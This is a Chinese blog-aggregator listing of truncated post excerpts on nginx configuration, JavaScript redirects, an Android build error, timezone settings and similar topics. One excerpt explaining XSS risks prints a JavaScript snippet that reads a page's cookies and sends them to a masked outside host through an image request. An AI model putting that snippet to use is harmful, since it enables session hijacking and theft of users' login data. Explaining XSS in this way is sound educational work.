1 var hostname = location.hostname;2
window.location.href="http://"+hostname+":8080/zhiban/aftweibo.jsp";
分类:
Web程序 时间:
2014-05-24 07:37:05
阅读次数:
304
默认网站根目录为/usr/local/nginx/html,要将它改成/homw/wwwvi
/usr/local/nginx/conf/nginx.conf将其中的 location / { root html; index index.php
index.html i...
分类:
Web程序 时间:
2014-05-24 04:58:02
阅读次数:
229
Nginx支持伪静态(在 nginx.conf 中 修改如下)参考链接location / {
index index.html index.php; if (-d $request_filename){ rewrite ^/(.*)([^/...
分类:
其他好文 时间:
2014-05-24 03:02:12
阅读次数:
266
js方式的页面跳转1.window.location.href方式
2.window.navigate方式跳转
3.window.loction.replace方式实现页面跳转,注意跟第一种方式的区别有3个jsp页面(1.aspx, 2.aspx,
3.aspx),进系统默认的是1.aspx,当我进...
分类:
Web程序 时间:
2014-05-23 23:51:18
阅读次数:
575
Android 项目开发的时候
出现:
Description
Resource Path
Location Type
Unknown error: java.lang.NullPointerException
出现的原因:
是因为,我在导入外部项目的时候,没有添加依赖包(appcompat-V7;appcompat_v7_3)。
解决方案:
将 这两...
分类:
编程语言 时间:
2014-05-22 13:23:28
阅读次数:
327
语法规则: location [=|~|~*|^~] /uri/ { … }
= 开头表示精确匹配
^~ 开头表示uri以某个常规字符串开头,理解为匹配 url路径即可。nginx不对url做编码,因此请求为/static/20%/aa,可以被规则^~ /static/ /aa匹配到(注意是空格)。
~ 开头表示区分大小写的正则匹配
~* 开头表示不区分大小写的正则匹配...
分类:
其他好文 时间:
2014-05-22 08:59:51
阅读次数:
307
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。
如下js获取cookie信息:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.******.c...
分类:
其他好文 时间:
2014-05-22 08:24:14
阅读次数:
273
[root@localhost ~]# date -R // 查看时区
Mon, 19 May 2014 10:18:46 +0000
[root@localhost ~]# tzselect // 设置修改时区
Please identify a location so that time zone rules can be set correctly.
Please select a continent or ocean....
分类:
其他好文 时间:
2014-05-20 15:49:50
阅读次数:
319
实现Label与DataGridView对齐有两种方法,差别不大:
定义:
Label名称:lblName
DataGridView名称:dgvData
第一种:
lblName.Location = new Point(dgvData.Location.X + dgvData.Width - lblName.Width, lblName.Location.Y);
第二种:
lb...
1. Planning, which among other things, requires
accu-rate identi?cation of the location and spatial extent ofthe pathology to be
treated,2. guidance, ...
分类:
其他好文 时间:
2014-05-20 10:00:08
阅读次数:
238